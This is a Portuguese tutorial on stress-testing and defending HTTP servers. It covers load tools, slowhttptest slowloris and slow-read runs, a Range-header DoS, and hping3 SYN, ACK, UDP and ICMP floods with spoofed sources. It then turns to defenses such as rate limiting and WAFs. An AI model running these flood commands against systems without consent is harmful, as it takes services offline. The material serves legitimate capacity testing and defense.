Stress de HTTP

Saudações.

Nesse tutorial vou abordar os procedimentos para stress e benchmark de servidores HTTP para aferir a capacidade real de sites, APIs e Webhooks.

CUIDADO: Não faça esses testes sem o consentimento de todas as pessoas e empresas responsáveis pelos equipamentos no caminho do teste, incluindo os equipamentos de origem e os servidores alvo. Enviar STRESS e VOLUME pode ser interpretado como ataque e resultar em consequências legais.

Comandos para instalar todas as ferramentas do tutorial, vou explicar uma por uma em cada tipo de stress, ataque e defesa:

Bash
# Ferramentas de stress HTTP
apt -y install apache2-utils;
apt -y install siege;
apt -y install wrk;
apt -y install slowhttptest;

# Ferramentas de stress de rede
apt install -y iperf3;
apt install -y netcat-openbsd;
apt install -y hping3;
apt install -y nping;

# Ferramentas de rede
apt -y install nmap;
apt -y install tcpdump;

1 – Introdução

Quando criamos ou instalamos uma aplicação que utiliza HTTP, em algum momento essa aplicação apresentará lentidão, ficará offline e passará por problemas comuns no ciclo de vida natural de todo software.

É comum não sabermos o quanto nosso servidor HTTP aguenta nem como ele pode ser facilmente destruído se a demanda aumentar.

Para isso precisamos estressar e atacar propositalmente nosso sistema para saber como implementar as defesas mínimas.

1.1 – Ataques e defesas

Lista de estágios atacáveis entre o cliente e seu servidor:

  • Rede – Ataque volumétrico:
    • Ataque: Atacante inunda a rede com pacotes de todos os tipos para atrapalhar a passagem de pacotes legítimos, esgotando a banda do servidor;
    • Defesa: Requer Firewall Anti-DDoS e mais banda até o firewall do que os ataques conseguem enviar (caríssimo).
  • Rede – Ataques TCP:
    • Ataque: Atacante envia quantidades enormes (milhões) de pacotes TCP/SYN e TCP/ACK para estressar o Kernel e esgotar as filas de conexões;
    • Defesa: Firewall Anti-DDoS para filtrar com inteligência, proxy-reverso deve implementar syncookies, backlog e timeouts de SYN para suportar responder e segurar conexões legítimas;
  • Aplicação – TLS exhaustion:
    • Ataque: Atacante abre muitas conexões TCP e demora a concluir a fase de negociação TLS;
    • Defesa: Timeout baseado no tempo médio gasto pelos clientes legítimos, TLS FingerPrint para evitar bots, tratamento diferenciado para origens conhecidas;
  • Aplicação – Request Flood:
    • Ataque: Atacante gera muitas conexões paralelas (TCP+TLS+HTTP);
    • Defesa: semelhante ao TLS exhaustion, implementar timeouts por endpoint e tratar melhor os clientes conhecidos.

2 – Ferramentas de stress HTTP

Vamos conhecer o básico de cada ferramenta HTTP e fazer alguns testes superficiais.

2.1 – Apache AB

O comando “ab” do Apache é o mais antigo, estável e eficiente de todos.

Bash
# Instalar apache2-utils
apt -y install apache2-utils;

# Menu de ajuda
ab -h;

Usando o ab:

Bash
# URL a ser testada, troque pela sua URL alvo
URL="https://meusite.com/webhook/log-receive";

# Enviando 10.000 requisicoes no total, abrir no maximo 100 em paralelo
ab \
   -n 10000 \
   -c 100 \
   $URL;
   
# Enviando payload JSON, tipo JSON, metodo POST, 500 requisicoes, maximo 50 paralelo
echo '{ "level": "warn", "message": "Burn server, burn" }' > /tmp/payload1.json;
ab \
    -n 500 \
    -c 50 \
    -p /tmp/payload1.json \
    -T application/json \
    $URL;

# Payload de API autenticada com Bearer, 200 reqs, 20 em paralelo:
URL="https://meusite.com/api/store";
TOKEN="ak-store-38a8838j3h_h40h1";
echo '{"event":"order.created","id":42,"value":99.90}' > /tmp/payload2.json;
ab \
    -n 200 \
    -c 20 \
    -m POST \
    -p /tmp/payload2.json \
    -T 'application/json' \
    -H "Authorization: Bearer $TOKEN" \
    -H "X-Test: 123" \
    $URL;

2.2 – Siege

O Siege é uma ferramenta simples com suporte multi-thread para testes HTTP/HTTPs.

Bash
# Instalar Siege
apt -y install siege;

# Menu de ajuda
siege -h;

Usando o Siege:

Bash
# URL a ser testada, troque pela sua URL alvo
URL="https://meusite.com/webhook/log-receive";

# Enviando 10.000 requisicoes no total, abrir no maximo 100 em paralelo
# siege nao tem -n (total de reqs);
# usa -r (reps por usuario) * -c (usuarios) = total
# 10000 / 100 = 100 reps por usuario
siege \
    -c 100 \
    -r 100 \
    "$URL";

# Enviando payload JSON, tipo JSON, metodo POST, 500 requisicoes, maximo 50 paralelo
# 500 / 50 = 10 reps por usuario
echo '{ "level": "warn", "message": "Burn server, burn" }' > /tmp/payload1.json;
siege \
    -c 50 \
    -r 10 \
    -H "Content-Type: application/json" \
    --post-file=/tmp/payload1.json \
    "$URL";

# Payload de API autenticada com Bearer, 200 reqs, 20 em paralelo:
URL="https://meusite.com/api/store";
TOKEN="ak-store-38a8838j3h_h40h1";
echo '{"event":"order.created","id":42,"value":99.90}' > /tmp/payload2.json;
siege \
    -c 20 \
    -r 10 \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer $TOKEN" \
    -H "X-Test: 123" \
    --post-file=/tmp/payload2.json \
    "$URL";

2.3 – WRK

O WRK é considerado o melhor de todos, possui alta performance, multi-thread, event-driven I/O (epoll) com capacidade de gerar cargas mais pesadas contra o servidor HTTP.

Seu diferencial é usar a linguagem LUA como base para configuração e execução de testes, o que atualmente permite que agentes de IA façam testes específicos e profundos nos servidores HTTP de serviços (APIs, Webhooks).

Bash
# Instalar WRK
apt -y install wrk;

# Menu de ajuda
wrk -h;

Usando o WRK:

Bash
# URL a ser testada, troque pela sua URL alvo
URL="https://meusite.com/webhook/log-receive";

# Enviando requisicoes por 30s, 100 conexoes paralelas, 4 threads
# wrk nao tem total de requisicoes; trabalha com duracao (-d)
wrk \
    -t 4 \
    -c 100 \
    -d 30s \
    "$URL";

# Enviando payload JSON, tipo JSON, metodo POST
# wrk exige script Lua para POST com body
cat > /tmp/wrk_payload1.lua << 'EOF'
wrk.method = "POST"
wrk.body   = '{ "level": "warn", "message": "Burn server, burn" }'
wrk.headers["Content-Type"] = "application/json"
EOF

wrk \
    -t 4 \
    -c 50 \
    -d 30s \
    -s /tmp/wrk_payload1.lua \
    "$URL";

# Payload de API autenticada com Bearer
URL="https://meusite.com/api/store"
TOKEN="ak-store-38a8838j3h_h40h1"
cat > /tmp/wrk_payload2.lua << EOF
wrk.method = "POST"
wrk.body   = '{"event":"order.created","id":42,"value":99.90}'
wrk.headers["Content-Type"]  = "application/json"
wrk.headers["Authorization"] = "Bearer $TOKEN"
wrk.headers["X-Test"]        = "123"
EOF

wrk \
    -t 4 \
    -c 20 \
    -d 30s \
    -s /tmp/wrk_payload2.lua \
    "$URL";

2.4 – HTTPerf

O HTTPerf é uma ferramenta antiga e conversadora com opções interessantes, boa para stress rápido.

Bash
# Instalar HTTPerf
apt -y install httperf;

# Menu de ajuda
httperf -h;

Usando o WRK:

Bash
# URL a ser testada, troque pela sua URL alvo
# httperf separa host, porta e path obrigatoriamente
HOST="meusite.com";
PORT=443;
PATH="/webhook/log-receive";

# Enviando requisicoes: httperf controla por taxa (--rate) e total (--num-calls)
# 10.000 requisicoes, 100 por segundo, conexao persistente
httperf \
    --ssl \
    --server  $HOST \
    --port    $PORT \
    --uri     $PATH \
    --rate    100 \
    --num-calls 10000 \
    --timeout 10;

# Enviando payload JSON via POST
# httperf recebe o body inline em --add-header + --method + --send-buffer
echo '{ "level": "warn", "message": "Burn server, burn" }' > /tmp/payload1.json;

httperf \
    --ssl \
    --server  $HOST \
    --port    $PORT \
    --uri     $PATH \
    --method  POST \
    --add-header 'Content-Type: application/json\n' \
    --send-buffer "$(cat /tmp/payload1.json)" \
    --rate    50 \
    --num-calls 500 \
    --timeout 10;

# Payload de API autenticada com Bearer
HOST2="meusite.com";
PORT2=443;
PATH2="/api/store";
TOKEN="ak-store-38a8838j3h_h40h1";

echo '{"event":"order.created","id":42,"value":99.90}' > /tmp/payload2.json;

HDR="Content-Type: application/json\nAuthorization: Bearer $TOKEN\nX-Test: 123\n";
httperf \
    --ssl \
    --server  $HOST2 \
    --port    $PORT2 \
    --uri     $PATH2 \
    --method  POST \
    --add-header "$HDR" \
    --send-buffer "$(cat /tmp/payload2.json)" \
    --rate    20 \
    --num-calls 200 \
    --timeout 10;

2.5 – Slow HTTP Test

O slowhttptest (testes lentos) é focado em testes de lentidão onde as requisições demoram para ser concluídas, simulando clientes que passam por redes ruins (perda de pacote, latência e jitter imprevisível).

Ele consegue testar se o servidor aguenta segurar muitas conexões em paralelo e induz maior penalidade no consumo de RAM pois o servidor não consegue liberar a memória consumida por esses clientes até que a requisição seja concluída.

Eu considero o mais realista dos testes para produção.
Se seu sistema não caiu com os testes anteriores, com certeza aqui ele pro saco!

Bash
# Instalar Slowh HTTP Test
apt -y install slowhttptest;

# Menu de ajuda
slowhttptest -h;

Usando o slowhttptest:

Bash
# Testes genericos
#    -c 5000   numero de conexoes paralelas
#    -i 10     intervalo em segundos entre envios de dados
#    -r 200    taxa de novas conexoes por segundo
#    -p 3      timeout de probe em segundos
#    -l 300    duracao total do teste em segundos
#    -k 50     pipeline factor (slow read)
#    -n 5      bytes enviados por vez (slow read)

# - Slow headers (slowloris), conexoes abertas enviando headers infinitamente devagar
slowhttptest -c 5000 -H -i 10 -r 200 -t GET -u https://localhost/ -p 3 -l 300;

# - Slow body (POST lento) - envia o body da requisicao em gotas
slowhttptest -c 5000 -B -i 10 -r 200 -t POST -u https://localhost/ -p 3 -l 300;

# - Slow read - le a resposta propositalmente devagar, lotando buffers do servidor
slowhttptest -c 5000 -X -r 200 -u https://localhost/ -p 3 -l 300 -k 50 -n 5;

# - Slow headers extremo
slowhttptest \
    -c 10000 \
    -H \
    -i 15 \
    -r 100 \
    -t GET \
    -u https://localhost/ \
    -p 5 \
    -l 600 \
    -o /tmp/resultado_slow_headers;


# URL base dos testes
# ===========================================================================
URL_WEBHOOK="https://meusite.com/webhook/log-receive";
URL_API="https://meusite.com/api/store";
TOKEN="ak-store-38a8838j3h_h40h1";


# MODO 1 - Slowloris (-H): mantem conexoes abertas enviando headers infinitos
# Equivalente ao primeiro bloco do ab: GET simples, alta concorrencia
# ===========================================================================
# -c 100  : 100 conexoes simultaneas (equivalente ao -c 100 do ab)
# -l 60   : duracao do teste em segundos
# -i 10   : intervalo em segundos entre envios de header parcial
# -r 20   : taxa de novas conexoes por segundo
# -t GET  : metodo HTTP
slowhttptest \
    -H \
    -u "$URL_WEBHOOK" \
    -c 100 \
    -l 60 \
    -i 10 \
    -r 20 \
    -t GET \
    -o /tmp/resultado_slowloris;


# MODO 2 - Slow POST (-B): envia o body JSON extremamente devagar
# Equivalente ao segundo bloco do ab: POST com payload JSON
# ===========================================================================
# -c 50   : 50 conexoes (equivalente ao -c 50 do ab)
# -l 60   : duracao do teste
# -i 5    : envia 1 byte do body a cada 5 segundos
# -r 10   : taxa de novas conexoes por segundo
# -s 4096 : tamanho declarado no Content-Length (maior que o body real,
#           mantendo o servidor esperando o restante indefinidamente)
# -t POST : metodo POST
slowhttptest \
    -B \
    -u "$URL_WEBHOOK" \
    -c 50 \
    -l 60 \
    -i 5 \
    -r 10 \
    -s 4096 \
    -t POST \
    -o /tmp/resultado_slowpost;


# MODO 3 - Slow POST autenticado (-B): POST com header Authorization
# Equivalente ao terceiro bloco do ab: POST autenticado com Bearer + headers
# ===========================================================================
# -c 20   : 20 conexoes (equivalente ao -c 20 do ab)
# -l 90   : duracao maior para estressar autenticacao
# -i 3    : intervalo curto para mais agressividade
# -r 5    : taxa baixa de novas conexoes (stealth)
# -s 8192 : Content-Length inflado
# -e      : caminho do arquivo de relatorio HTML gerado pelo slowhttptest
slowhttptest \
    -B \
    -u "$URL_API" \
    -c 20 \
    -l 90 \
    -i 3 \
    -r 5 \
    -s 8192 \
    -t POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "X-Test: 123" \
    -o /tmp/resultado_slowpost_auth \
    -e /tmp/resultado_slowpost_auth.html;


# MODO 4 - Slow Read (-X): conecta normalmente mas le a resposta muito devagar
# Util para endpoints que retornam bodies grandes (logs, dumps, listas)
# ===========================================================================
# -c 150  : mais conexoes para saturar o buffer de envio do servidor
# -l 120  : duracao longa
# -i 1    : le 1 byte da resposta a cada 1 segundo
# -r 30   : abre conexoes rapidamente para acumular fila no servidor
# -w 512  : tamanho minimo da janela TCP anunciada ao servidor (bytes)
# -y 1024 : tamanho maximo da janela TCP anunciada
slowhttptest \
    -X \
    -u "$URL_WEBHOOK" \
    -c 150 \
    -l 120 \
    -i 1 \
    -r 30 \
    -w 512 \
    -y 1024 \
    -o /tmp/resultado_slowread;


# MODO 5 - Range Header (-R): explora servidores vulneraveis ao CVE-2011-3192
# (Apache Range Header DoS). Envia requisicoes com ranges sobrepostos que
# forcam o servidor a montar muitas respostas parciais simultaneamente.
# ===========================================================================
# -c 100  : conexoes
# -l 60   : duracao
# -r 20   : taxa de conexoes
slowhttptest \
    -R \
    -u "$URL_WEBHOOK" \
    -c 100 \
    -l 60 \
    -r 20 \
    -o /tmp/resultado_range;

3 – Ferramentas de stress de rede

As vezes sua aplicação aguenta requisições, mas a rede entre os clientes e seu servidor é ruim, possui gargalos em horário de pico, perda de pacotes, latência e jitter que flutuam muito.

3.1 – IPerf3 – Teste de largura de banda

Utilize o iperf3 para testar a banda máxima no sentido upload, download e nas duas direções ao mesmo tempo. A porta padrão é 5201, após confirmar nessa porta é bom parar o servidor HTTP para liberar as portas 80 e 443 e testar nelas para conferir se há discriminação de QoS ou bloqueio nelas.

O teste requer que uma ponta abra a porta no servidor (iperf3 -s) e a outra seja o cliente que aponta para o servidor (iperf3 -c). Teste as duas posições (cada hora um lado é o servidor).

Instalando iperf3:

Bash
# Instalar IPerf3
apt -y install iperf3;

# Menu de ajuda
iperf3 -h;

Exemplos usando TCP:

Bash
# No servidor (www.exemplo.com.br)
# - Abrir porta padrao tcp/5201 e udp/5201
iperf3 -s;

# Testes no cliente:
# - Teste TCP padrao (cliente envia para servidor, 10 segundos)
iperf3 -c www.exemplo.com.br;

# - Especificar porta (padrao e 8090, requer servidor: iperf3 -s -p 8090)
#- iperf3 -c www.exemplo.com.br -p 8090;

# - Teste unico por 30 segundos
iperf3 -c www.exemplo.com.br -t 30;

# - Especificar a porta de origem no cliente, testes de 3 segundos, total 12s
iperf3 -c www.exemplo.com.br --cport 19123 -i 3 -t 12;

# - Teste por 60 segundos com intervalo de relatorio a cada 5s
iperf3 -c www.exemplo.com.br -t 60 -i 5;

# - Transferir exatamente 1 GB e parar
iperf3 -c www.exemplo.com.br -n 1G;

# - 4 fluxos TCP paralelos
iperf3 -c www.exemplo.com.br -P 4;

# - Servidor envia para o cliente (mede download)
iperf3 -c www.exemplo.com.br -R;

# - Bidirecional simultaneo (requer iperf3 versao 3.7 ou superior)
iperf3 -c www.exemplo.com.br --bidir;

# - Janela TCP com diferentes tamanhos
iperf3 -c www.exemplo.com.br -w 32K;
iperf3 -c www.exemplo.com.br -w 256K;
iperf3 -c www.exemplo.com.br -w 1M;
iperf3 -c www.exemplo.com.br -w 4M;
iperf3 -c www.exemplo.com.br -w 16M;

# - MSS especifico, influencia em ate 40% na velocidade
#   - Padrao IPv4: MTU menos 40 = 1460
#   - Padrao IPv6: MTU menos 60 = 1440
iperf3 -c www.exemplo.com.br -M 1200;
iperf3 -c www.exemplo.com.br -M 1300;
iperf3 -c www.exemplo.com.br -M 1400;
iperf3 -c www.exemplo.com.br -M 1440;
iperf3 -c www.exemplo.com.br -M 1460;

# - Desabilitar algoritmo Nagle (TCP/SCTP no delay)
iperf3 -c www.exemplo.com.br -N;

# - Buffer de leitura/escrita de 128 KB
iperf3 -c www.exemplo.com.br -l 128K;

# - Buffer de 1 MB (util para links de alta latencia)
iperf3 -c www.exemplo.com.br -l 1M;

# - Marcar trafego como EF (Expedited Forwarding) - VoIP
iperf3 -c www.exemplo.com.br -S 0xb8;

# - Marcar como AF41 (video conferencia)
iperf3 -c www.exemplo.com.br -S 0x88;

# - Saida em JSON
iperf3 -c www.exemplo.com.br -J -t 10;

# - Salvar resultado em arquivo JSON
iperf3 -c www.exemplo.com.br -J --logfile /tmp/resultado.json;

# - Modo verboso
iperf3 -c www.exemplo.com.br -V;

Exemplos usando UDP:

Bash
# No servidor (www.exemplo.com.br)
# - Abrir porta padrao tcp/5201 e udp/5201
iperf3 -s;

# - Teste UDP com largura de banda alvo de 100 Mbps
iperf3 -c www.exemplo.com.br -u -b 100M;

# - UDP por 30s com alvo de 1 Gbps
iperf3 -c www.exemplo.com.br -u -b 1G -t 30;

# - UDP sem limite de banda (cuidado: pode saturar o link)
iperf3 -c www.exemplo.com.br -u -b 0;

# - 8 fluxos UDP paralelos com 50 Mbps cada
iperf3 -c www.exemplo.com.br -u -b 50M -P 8;

# - Servidor envia para o cliente (mede download)
iperf3 -c www.exemplo.com.br -R -u;

# - Bidirecional simultaneo (requer iperf3 versao 3.7 ou superior)
iperf3 -c www.exemplo.com.br -u --bidir;

# - Buffer de leitura/escrita de 65 KB (limite udp)
iperf3 -c www.exemplo.com.br -u -l 65507;

# - Marcar trafego como EF (Expedited Forwarding) - VoIP
iperf3 -c www.exemplo.com.br -u -S 0xb8;

# - Marcar como AF41 (video conferencia)
iperf3 -c www.exemplo.com.br -u -S 0x88;

# - Saida em JSON
iperf3 -c www.exemplo.com.br -u -J -t 10;

# - Salvar resultado em arquivo JSON
iperf3 -c www.exemplo.com.br -u -J --logfile /tmp/resultado.json;

# - Modo verboso
iperf3 -c www.exemplo.com.br -u -V;

# - Teste UDP de qualidade (mede jitter e perda de pacotes)
iperf3 -c www.exemplo.com.br -u -b 10M -t 30 -i 5;

3.2 – HPing3 – Teste de PPS

Esses testes são mais perigosos e devem ser feitos com muito cuidado pois podem travar todos os equipamentos, desde o emissor até o servidor.

Bash
# Instalar HPing3
apt -y install hping3;

# Menu de ajuda
hping3 -h;

Comandos de ataques:

Bash
# Ataque de TCP SYN FLOOD
#--------------------------------------------------------------------

# - Inundar a porta 80/tcp
hping3 -S --flood -V -p 80  www.exemplo.com.br;

# - Inundar a porta 443/tcp
hping3 -S --flood -V -p 443  www.exemplo.com.br;

# - Com IP aleatório de origem (spoof), inundar a porta 80/tcp
hping3 -S --flood -V -p 80  --rand-source www.exemplo.com.br;

# - Com IP aleatório de origem (spoof), inundar a porta 443/tcp
hping3 -S --flood -V -p 443 --rand-source www.exemplo.com.br;


# Ataque de TCP ACK FLOOD
#--------------------------------------------------------------------

# - TCP-ACK Flood na porta 80 e porta 443
hping3 -A --flood -V -p 80  www.exemplo.com.br;
hping3 -A --flood -V -p 443 www.exemplo.com.br;


# Ataque de TCP RST (Reset) FLOOD
#--------------------------------------------------------------------

# - TCP-RST Flood na porta 80 e porta 443
hping3 -R --flood -V -p 80  www.exemplo.com.br;
hping3 -R --flood -V -p 443 www.exemplo.com.br;


# Ataque de flood TCP XMAS Attack (flags FIN+URG+PSH)
#--------------------------------------------------------------------

# - XMAS Flood na porta 80 e porta 443
hping3 -F -P -U --flood -V -p 80  www.exemplo.com.br;
hping3 -F -P -U --flood -V -p 443 www.exemplo.com.br;


# Ataque de flood NULL Flood (sem flags TCP)
#--------------------------------------------------------------------

# - NULL Flood, pacotes TCP sem nenhuma flag definida.
ping3 --flood -V -p 80  www.exemplo.com.br;
ping3 --flood -V -p 443 www.exemplo.com.br;

# Outras flags TCP:
#  -M  --setseq     set TCP sequence number
#  -L  --setack     set TCP ack
#  -F  --fin        set FIN flag
#  -S  --syn        set SYN flag
#  -R  --rst        set RST flag
#  -P  --push       set PUSH flag
#  -A  --ack        set ACK flag
#  -U  --urg        set URG flag
#  -X  --xmas       set X unused flag (0x40)
#  -Y  --ymas       set Y unused flag (0x80)


# Ataque de UDP FLOOD
#--------------------------------------------------------------------

# - Ataque de UDP FLOOD na porta 53 (pacote pequeno padrao, 43 bytes)
hping3 --udp --flood -V -p 53 www.exemplo.com.br;

# - Ataque de UDP FLOOD na porta 53
#   Payload: 1400 bytes
#   Cabecalho UDP +8, IP +20, Total: 1428 bytes
hping3 --udp --flood -V -p 53 -d 1400 www.exemplo.com.br;


# Ataque de ICMP FLOOD
#--------------------------------------------------------------------

# - Enviar flood de ICMP echo-request (pacote pequeno)
hping3 --icmp --flood -V www.exemplo.com.br;

# - Enviar flood de ICMP echo-request
#   Payload: 1100 bytes
#   Cabecalho ICMP +8, IP +20, Total: 1028 bytes
hping3 --icmp --flood -V -d 1000 www.exemplo.com.br;

# Com pacotes grandes (pacote maior que MTU, gera muito fragmento)
hping3 --icmp --flood -V -d 65000 www.exemplo.com.br;

4 – Superficies de fragilidade

Servidores HTTP podem se comportar muito mal por falta de proteções básicas simples de implementar.

4.1 – Limitar Requisições

Se seu serviço suporta centenas de milhares de requisições por segundo (REQ/S) isso não significa que um único IP na Internet possa usá-las. Limites a implementar:

  • REQ/S Global – Requisições por segundo que um IP pode fazer no seu proxy-reverso, independente de qual seja a endpoint desejada:
    • Analise os logs e faça uma média de quantas REQ/S cada IP faz e estabeleça o limite com uma margem de segurança de 25%;
  • REQ/S por API – Uma API de autenticação é invocada poucas vezes por dia para cada usuário, já uma API de estatísticas pode ser acionada até 20 vezes por segundo quando muitos gráficos são abertos, considere limites por endpoint;
  • REQ/S por Prefixo/GEOIP – Um atacante consegue usar muitos IPs, até milhares, para te atacar, detectar limites por prefixo pode ajudar a eliminar datacenters gerando ataques em massa, cada IP pode ser mapeado a um país de origem como Brasil, China, Russia, Inglaterra;
    • Limites rígidos: Países onde você não tem clientes e até bloqueio definitivo;
    • Limites suaves: Países e regiões onde existem muitos usuários conhecidos (aprendizado de IPs de ouro);
  • REQ/S por Minuto – Algumas endpoints podem sofrer tentativas repetitivas em poucos segundos, mas se a quantidade de requisições por minuto for alta isso revela um comportamento malicioso;
  • REQ/S por Dia/Semana/Mês – Estabeleça um limite saudável e investigue quem viola a normalidade para investigação.

Não é humanamente inteligente controlar todas essas variáveis. É mais barato e rápido implementar um proxy-reverso que possua plugins inteligentes que aprendem dinamicamente esses limites para segurar o atacante que fugir da normalidade.

4.2 – Boi de piranha

Ao detectar origens que abusam dos limites naturais dos seus serviços, crie regras para atendê-los em servidores/VMs/containers com restrições de recursos, assim os atacantes estressam sistemas feitos para não aguentar e deixam os serviços principais livres.

4.3 – Split-Horizon

Esse recurso permite que o servidor DNS responda o IP de destino baseado no IP de origem da solicitação feita ainda no servidor DNS, exemplo:

  • IP de origem da requisição veio do Canadá => Responder IP do servidor no Texas/EUA;
  • IP de origem da China => Responder IP do servidor no Alibaba Cloud/CH;
  • IP de origem do Brasil => Responder IP do servidor em São Paulo/BR;

O Split-Horizon pode ser implementado via HTTP com redirecionamento de URLs para URLs mais específicas, só cuidado com loops HTTP (A=>B=>C=>A=>B=>…).

4.4 – TLS Fingerprint

Cada sistema operacional, biblioteca de criptografia (TLS) e cliente HTTP possuem assinaturas digitais únicas convertidas para um HASH de identificação gerando o TLS Fingerprint.

Ao coletar e vincular esse fingerprint aos bons clientes, garanta a preferência para eles e deixe os demais para o boi de piranha. Qualquer fingerprint que abusar deve ser aprendido com um bot atacante. É MUITO difícil contornar essa proteção.

4.5 – Tempo limite

APIs que envolvem conteúdo pontual com poucos KB devem ser separadas de endpoints que envolvem upload ou download de conteúdo de MB em IPs e proxies diferentes.

Isso ajuda o proxy-reverso a aprender com mais exatidão quais timeouts gerais utilizar e impedir e exaustão de recursos por excesso de paralelismo.

4.5 – Ferramentas de defesa

Aprenda as tecnologias nativas do Linux para impor limites usando proteções baratas e rápidas de implementar:

  • Netfilter: Ferramentas como nftables (nova, comando nft) e iptables (antiga) criam regras de bloqueio, limites e redirecionamentos de pacotes direto no kernel Linux;
    • Limites por IP, incluindo discriminação GEOIP;
    • Redirecionamento de IPs bons para servidores de ouro;
    • Redirecionamento de IPs malignos para servidores honeyspot/boi de piranha;
    • Bloqueio de IPs automático por violação de limites;
    • Bloqueio automático de IPs fazendo port-scan;
  • TC QoS: A ferramenta TC (Traffic Control, comando tc) cria limite de banda e QoS nas interfaces de rede;
    • QoS para reservar banda para IPs confiáveis;
    • Banda máxima consumida por IP;
    • Adicionar latência proposital;
  • Sysctl Tuning: A ferramenta sysctl altera parâmetros do kernel, aumentando a capacidade de lidar com muitas conexões em paralelo e alocar melhor os recursos;
    • Maior capacidade de conexões em paralelo (conntrack);
    • Maior capacidade de paralelismo para threads e processos;
    • Buffers de RAM maiores;
  • Fail2ban: Aplicação reativa a problemas detectados em logs, permite transformar logs de erros e ataques detectados em execução reativa de comandos de bloqueio;
    • Emitir logs de comportamentos erráticos repetitivos;
    • Executar automaticamente comandos de bloqueio no firewall;
    • Executar comandos para melhor o QoS de IPs bons;
    • Executar comandos de bloqueio de IPs que erram muitas senhas ou acessam recursos inexistentes (scan de arquivos e endpoints);
  • Proxy: Softwares de proxy-reverso que podem implementar defesas TLS e HTTP antes de encaminhar a requisição para o servidor HTTP interno da aplicação:
    • Squid: O mais maduro de todos, últra rápido e com centenas de recursos;
    • Nginx, Traefik e Caddy: Softwares modernos com suporte a plugins e limitadores, cada um possui versão comercial especializada em proteção avançadas;

5 – Proteção externa

Implementar todas as proteções explicadas nos capítulos anteriores é caro para o usuário avançado e quase impossível para o usuário amador.

Se você esquecer uma única proteção o atacante retirará seu sistema do ar.

A melhor opção é usar um proxy-reverso como serviço na nuvem. Esses sistemas se chamam WAF (Web Application Firewall).

Seu DNS (normalmente entregue ao mesmo provedor do Proxy) levará a conexão até os endereços IP do datacenter.

Proteções:

  • Protege contra ataque DDoS volumétrico e ataques TCP;
  • Protege contra IPs de origem com má reputação, aproveitando o aprendizado durante a proteção de outros milhares de sites;
  • Protege contra BOTs e discrimina assinaturas digitais (FingerPrints) conhecidos;
  • Implementa captcha de forma transparente;
  • Implementa túneis, a aplicação pode rodar em qualquer lugar do mundo e se conectar por uma VPN leve até o proxy-reverso.

Provedores:

  • CloudFlare;
  • Akamai;
  • Amazon.

Sempre comece sua aplicação com um provedor de aplicação gratuito, assim você pode escalar para valores pagos e baratos a medida que seu software faz sucesso.

.

Pai dele, alho; mãe, cebola.
Como pode ele cheirar bem?
Provérbio Árabe

Terminamos por hoje!

Patrick Brandão, patrickbrandao@gmail.com